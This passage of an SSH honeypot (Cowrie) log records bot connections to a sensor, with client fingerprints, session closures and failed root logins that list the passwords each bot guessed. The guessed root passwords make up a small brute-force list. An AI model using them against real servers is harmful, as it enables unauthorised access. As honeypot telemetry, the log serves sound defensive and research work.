{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:59.055444Z","src_ip":"31.59.89.180","session":"af1304c2814f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:59.530869Z","src_ip":"31.59.89.180","session":"af1304c2814f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"41.8","message":"Connection lost after 41.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:00.210854Z","src_ip":"47.86.95.62","session":"ba32ce05e516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:00.644755Z","src_ip":"31.59.89.180","session":"af1304c2814f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":50874,"dst_ip":"10.17.0.5","dst_port":22,"session":"3abbd8857634","protocol":"ssh","message":"New connection: 47.86.95.62:50874 (10.17.0.5:22) [session: 3abbd8857634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:09.673711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:11.267233Z","src_ip":"47.86.95.62","session":"3abbd8857634","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":34364,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fa18d5e754c","protocol":"ssh","message":"New connection: 43.153.27.162:34364 (10.17.0.5:22) [session: 8fa18d5e754c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:17.177217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:17.181964Z","src_ip":"43.153.27.162","session":"8fa18d5e754c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:17.251051Z","src_ip":"43.153.27.162","session":"8fa18d5e754c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kritika","message":"login attempt [root/kritika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:17.560346Z","src_ip":"43.153.27.162","session":"8fa18d5e754c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:18.632457Z","src_ip":"43.153.27.162","session":"8fa18d5e754c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":9160,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce6f5000cf31","protocol":"ssh","message":"New connection: 118.26.36.248:9160 (159.203.135.109:22) [session: ce6f5000cf31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:21.966520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:21.973884Z","src_ip":"118.26.36.248","session":"ce6f5000cf31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:22.187540Z","src_ip":"118.26.36.248","session":"ce6f5000cf31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcv1234","message":"login attempt [root/zxcv1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:23.046313Z","src_ip":"118.26.36.248","session":"ce6f5000cf31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:24.266708Z","src_ip":"118.26.36.248","session":"ce6f5000cf31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":59848,"dst_ip":"159.203.135.109","dst_port":22,"session":"89bcb043710a","protocol":"ssh","message":"New connection: 61.222.211.114:59848 (159.203.135.109:22) [session: 89bcb043710a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:40.503009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:40.507588Z","src_ip":"61.222.211.114","session":"89bcb043710a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40934,"dst_ip":"10.17.0.5","dst_port":22,"session":"03a0697943c9","protocol":"ssh","message":"New connection: 47.86.95.62:40934 (10.17.0.5:22) [session: 03a0697943c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:40.554184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:40.559142Z","src_ip":"47.86.95.62","session":"03a0697943c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:40.719815Z","src_ip":"61.222.211.114","session":"89bcb043710a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"#EDC4rfv","message":"login attempt [root/#EDC4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:41.597584Z","src_ip":"61.222.211.114","session":"89bcb043710a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:42.812523Z","src_ip":"61.222.211.114","session":"89bcb043710a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":34168,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ee966652d2a","protocol":"ssh","message":"New connection: 20.12.41.6:34168 (10.17.0.5:22) [session: 1ee966652d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:44.772616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:44.777650Z","src_ip":"20.12.41.6","session":"1ee966652d2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:44.792975Z","src_ip":"20.12.41.6","session":"1ee966652d2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dingo","message":"login attempt [root/dingo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:44.891269Z","src_ip":"20.12.41.6","session":"1ee966652d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:14:45.909889Z","src_ip":"20.12.41.6","session":"1ee966652d2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":60160,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f281118177e","protocol":"ssh","message":"New connection: 31.59.89.180:60160 (159.203.135.109:22) [session: 9f281118177e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:13.548192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:13.553729Z","src_ip":"31.59.89.180","session":"9f281118177e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:13.668071Z","src_ip":"31.59.89.180","session":"9f281118177e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqqqq","message":"login attempt [root/qqqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:14.142547Z","src_ip":"31.59.89.180","session":"9f281118177e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:15.256537Z","src_ip":"31.59.89.180","session":"9f281118177e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":34952,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cffa4ea7fd6","protocol":"ssh","message":"New connection: 209.99.184.143:34952 (159.203.135.109:22) [session: 5cffa4ea7fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:19.838132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:19.843401Z","src_ip":"209.99.184.143","session":"5cffa4ea7fd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:19.935226Z","src_ip":"209.99.184.143","session":"5cffa4ea7fd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa520520","message":"login attempt [root/Aa520520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:20.332366Z","src_ip":"209.99.184.143","session":"5cffa4ea7fd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:21.427391Z","src_ip":"209.99.184.143","session":"5cffa4ea7fd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:28.086046Z","src_ip":"47.86.95.62","session":"03a0697943c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":39232,"dst_ip":"10.17.0.5","dst_port":22,"session":"116609a587ca","protocol":"ssh","message":"New connection: 43.153.27.162:39232 (10.17.0.5:22) [session: 116609a587ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:30.769587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:30.774380Z","src_ip":"43.153.27.162","session":"116609a587ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 